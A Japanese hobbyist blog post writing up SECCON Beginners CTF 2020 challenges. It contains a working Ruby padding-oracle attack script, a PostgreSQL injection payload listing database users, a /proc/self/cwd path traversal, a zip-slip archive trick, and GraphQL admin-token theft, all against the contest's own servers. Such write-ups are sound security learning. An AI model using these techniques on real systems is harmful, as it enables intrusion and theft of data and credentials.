ぶちのブログ

競プロとCTFが趣味なWebエンジニアのアウトプットの場

SECCON Beginners CTF 2020 writeup

はじめに

SECCON Beginners CTF 2020に出ました。結果は1009チーム中48位でした。
f:id:betit0919:20200524174122p:plain

自分が解けた問題(+α)のwriteupを書きます。

他のチームメイトが解いた問題は以下のブログを参照してください。 rajyan.hatenablog.jp

f:id:betit0919:20200524173959p:plain
相変わらず偏りが酷い結果

解いた問題

emoemoencode

実はあんまりちゃんと解けていないです。文字数的に絵文字1個がASCII1文字に対応していそうな感じなので、バイト列を見比べます。
ちょっとずれているけれど絵文字の下6桁に注目すると変換先のASCIIに見えてくるので、

File.read('emoemoencode.txt').bytes.each_slice(4).map{|is|is.last.to_s(2)}.map{|s|s[0]='0';s[1]='1';s.to_i(2).chr}.join

としました。このコードだと0がpに変換されてしまうのですが、guessingでなんとかしました(酷い)

readme

linuxのuser名の文字列も使えず、絶対パスでuserのファイルにアクセスできるかどうかという問題。

ディレクトリトラバーサルっぽい感じの記事を読んで、/etc/passwdとか試しましたがうまく行かず。(ディレクトリ構成のヒントにはなりましたが)
調べているうちに/proc/self/cwdが~と同じだということに気づいたので/proc/self/cwd/../flagとして、相対パスもユーザー名も使えないという条件をクリアしました。

Encrypter

decryptionに色々文字を打っていると、AES暗号であることが分かるようなエラーメッセージが来ました。 AES暗号で鍵が分からなさそうなときは、Padding Oracle Attackくらいしかやることが思いつかなかったです。

こちらの記事を大いに参考にして以下のようなコードを書きました。

require 'openssl'
require 'net/https'
require 'json'
require 'base64'

def try_decrypt(data)
  uri=URI('http://encrypter.quals.beginners.seccon.jp/encrypt.php')
  params = {
    mode: "decrypt",
    content: Base64.encode64(data)
  }
  pp Base64.encode64(data)
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl=false
  req = Net::HTTP::Post.new(uri.request_uri)
  req["Content-Type"] = "application/json"
  req.body = params.to_json
  res = http.request(req)
  pp res.body
  @cnt+=1
  sleep(0.1)
  !JSON.parse(res.body).key?('error')
rescue
  false
end

def attack(ciphertext)
  blocksize = 16
  blocks = ciphertext.scan(/[\s\S]{#{blocksize}}/)
  pp blocks
  (blocks.length-1).downto(1) do |k|
    plain = "?" * blocksize
    iv = "\x00" * blocksize
    1.upto(blocksize) do |n|
      0.upto(255) do |i|
        iv[-n] = i.chr
        data = iv + blocks[k]
        if try_decrypt(data) then
          plain = iv.bytes.zip(blocks[k-1].bytes).map { |x,y| n ^ x ^ y }.pack("C*")
          p plain
          iv = plain.bytes.zip(blocks[k-1].bytes).map { |x,y| (n+1) ^ x ^ y }.pack("C*")
          break
        end
      end
    end
    blocks[k] = plain
  end
  blocks[0] = "?" * blocksize
  return blocks.join
end

ciphertext = Base64.decode64("c9yeHa7nOwnfGaJOHtBZSk7ul5zxk3dETFCE2e2xUZrIwDPT+7YMDmOlLg2god3Cs4l5lozUMq8iDjYm2bw/uQ==")
p attack(ciphertext)

(5000回以上アクセスしてしまったが、これで良かったのだろうか。。。)

Spy

データベースに保存されているユーザーの一覧を手に入れれば良い。
ソースコードを見ると、Timing Attackしたくなり、実際に試してみると、ユーザーが存在するかどうかで明らかにレスポンスの時間が違うようです。(ページ下部にある時間表記もヒントですね)
あとは26人分を手で試したのでコードは書いてないです。

TweetStore

最初LIMIT句の攻撃をしようと思ったけれど、よく考えたら検索ワードでもSQLinjectionができそう。
\'; SELECT usename, usename, NOW() from pg_user;--と打ち込んで終了。

postgresqlに対するSQLinjectionをあまりやったことがなかったので、少し手間取りました。

unzip

ソースコードを見ると、解答した際に../../flag.txtというファイル名のファイルができるzipファイルを生成すれば良さそうです。
aaaaaaflag.txtというファイルを圧縮したzipファイルを作り、zipファイルをバイナリエディタで開き、aaaaaaの部分を../../に書き換えてファイルを作成しました。

profiler

解けそうで解けなかった問題です。

JSから非同期に送っているリクエストの形式を見ると、GraphQLっぽいことがわかります。
get-graphql-schemaを使って、schemaを覗き見ると、someoneからtokenが抜けそうです。

query{someone(uid: "admin"){token}}というqueryでadminのtokenを引っこ抜けます。

schemaを見るとupdateTokenという非公開の操作もあるので、そちらに当たりをつけ、ログインしている状態でtokenをadminのものに書き換えました。

query{flag}にアクセスすると、list index out of range(うろ覚え)みたいなエラーメッセージが返ってきました。悲しい。
/flagの画面をみると画面にはエラーメッセージも出ずに、コンソールにundefined property flag of nullのエラーが出てました。

終了後に(たぶん)同じコードを試したらあっさり通りました。残念。(最後5分くらいで焦ってたので、何か間違ったのかもしれません)

おわりに

とても楽しかったです!運営の皆様ありがとうございました!!!
Webエンジニアとして、Webをもう一問くらい通したかったので、リベンジしたいです!